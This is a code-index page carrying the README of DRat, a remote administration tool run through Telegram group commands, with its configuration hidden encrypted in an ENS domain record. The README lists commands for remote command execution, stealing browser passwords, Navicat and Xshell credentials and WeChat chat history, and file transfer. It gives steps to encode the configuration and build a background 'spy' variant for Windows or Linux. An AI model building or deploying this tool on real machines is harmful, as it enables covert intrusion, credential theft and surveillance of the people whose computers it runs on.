MCPcopy Index your code
hub / github.com/SpenserCai/DRat

github.com/SpenserCai/DRat @v1.0.5

Chat with this repo
repository ↗ · DeepWiki ↗ · release v1.0.5 ↗ · + Follow
27 symbols 78 edges 14 files 10 documented · 37%
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

DRat

FOSSA Status

去中心化远程控制工具(Decentralized Remote Administration Tool)

介绍

DRat是一个去中心化远程控制工具,可以实现在没有服务端和配置文件服务器的情况下实现远程控制和配置下发。

支持平台

  • Windows
  • Linux (其他系统测试通过的可以提交issue)
  • Ubuntu 22.04 ✔

特性

无需服务端

通过电报实现的远程控制,只需要在Group中发送指令,即可实现远程控制。

自带代理

由于电报(Telegram)的特性,需要使用代理才能访问,DRat内置了代理,可以直接使用。

ENS配置下发

基于去中心化的ENS,可以实现配置文件的下发。

功能列表

命令 功能 状态
/help 帮助
/rce start 开启rce会话
/rce stop 停止rce会话
/rce <命令> 执行命令,如果执行命令前没有开启rce会话则会自动开启
/sysinfo 获取系统信息
/restart_drat 重启drat
/shutdown_drat 关闭drat
/dump_navicat 导出navicat连接信息
/dump_xshell 导出xshell连接信息
/dump_browser 导出浏览器密码
/download <文件路径> 下载文件
/upload <文件路径> 上传文件
/wechat info 获取微信信息
/wechat history 聊天记录和通讯录

如果还有别的需求,可以提交issue

使用

获取

git clone https://github.com/SpenserCai/DRat.git

ENS域名注册

  1. 安装MetaMask,并创建账户。
  2. 获取测试币,可以通过Goerli Faucet获取。
  3. 将MetaMask的网络切换到Goerli 测试网络。
  4. ENS中注册域名,请使用8位的域名

配置文件

配置文件的格式如下

{
    "TELBOT_TOKEN":"<TOKEN>",
    "TELBOT_CHAT_ID":1234567890,// 电报群ID不要带‘-’
    "CLASH_CONN_STR":"代理类型:地址:端口:加密方式:密码:是否支持udp",// 可以在clash里面找到
    "LOCAL_PROXY_PORT":7890,
    "ENS_DOMAIN":""// 后期这里会支持更新ENS域名,现在不支持
}

对于配置文件的上传有两种方案

1. 自动上传配置文件

为了更加方便的完成配置文件的上传,我开发了DRatConfig工具,可以自行完成加密和上传,前提只需要注册好一个eth域名即可

2. 手动上传配置文件

python encode_config.py <配置文件路径> <ENS域名(不包含.eth)>

生成后会得到一个AES加密好的字符串,将其复制粘贴到ENS域名的description中,可以访问:https://app.ens.domains/name/你的域名/details 编辑。

点击保存,等待一段时间,即可完成配置文件的下发。

编译

# cli 代表调试模式,spy代表后台运行
# windows 
python build.py <ENS配置> cli windows
# linux
python build.py <ENS配置> cli linux

配置文件的格式如下

{
    "TELBOT_TOKEN":"",
    "TELBOT_CHAT_ID":0,
    "CLASH_CONN_STR":"",
    "LOCAL_PROXY_PORT":7890,
    "ENS_DOMAIN":"<完整的ENS域名>"
}

测试

运行程序,在对应的电报群组测试

免责声明

本项目仅供学习交流使用,严禁用于非法用途,否则,造成的一切后果由使用者自行承担。

License

FOSSA Status

Core symbols most depended-on inside this repo

Close
called by 4
attack/rce.go
Init
called by 2
attack/rce.go
aes_encrypt
called by 1
encode_config.py
aes_decrypt
called by 1
encode_config.py
SetConfigFromEns
called by 1
main.go
GetTextRecordByDomain
called by 1
web3/ens.go
ClashRelay
called by 1
proxy/clash.go
Run
called by 1
attack/rce.go

Shape

Function 17
Method 6
Struct 3
TypeAlias 1

Languages

Go93%
Python7%

Modules by API surface

attack/rce.go4 symbols
util/os.go3 symbols
message/telegram.go3 symbols
message/tele_cmd.go3 symbols
config/manager.go3 symbols
web3/ens.go2 symbols
util/encoding.go2 symbols
proxy/clash.go2 symbols
main.go2 symbols
encode_config.py2 symbols
util/network.go1 symbols

For agents

$ claude mcp add DRat \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact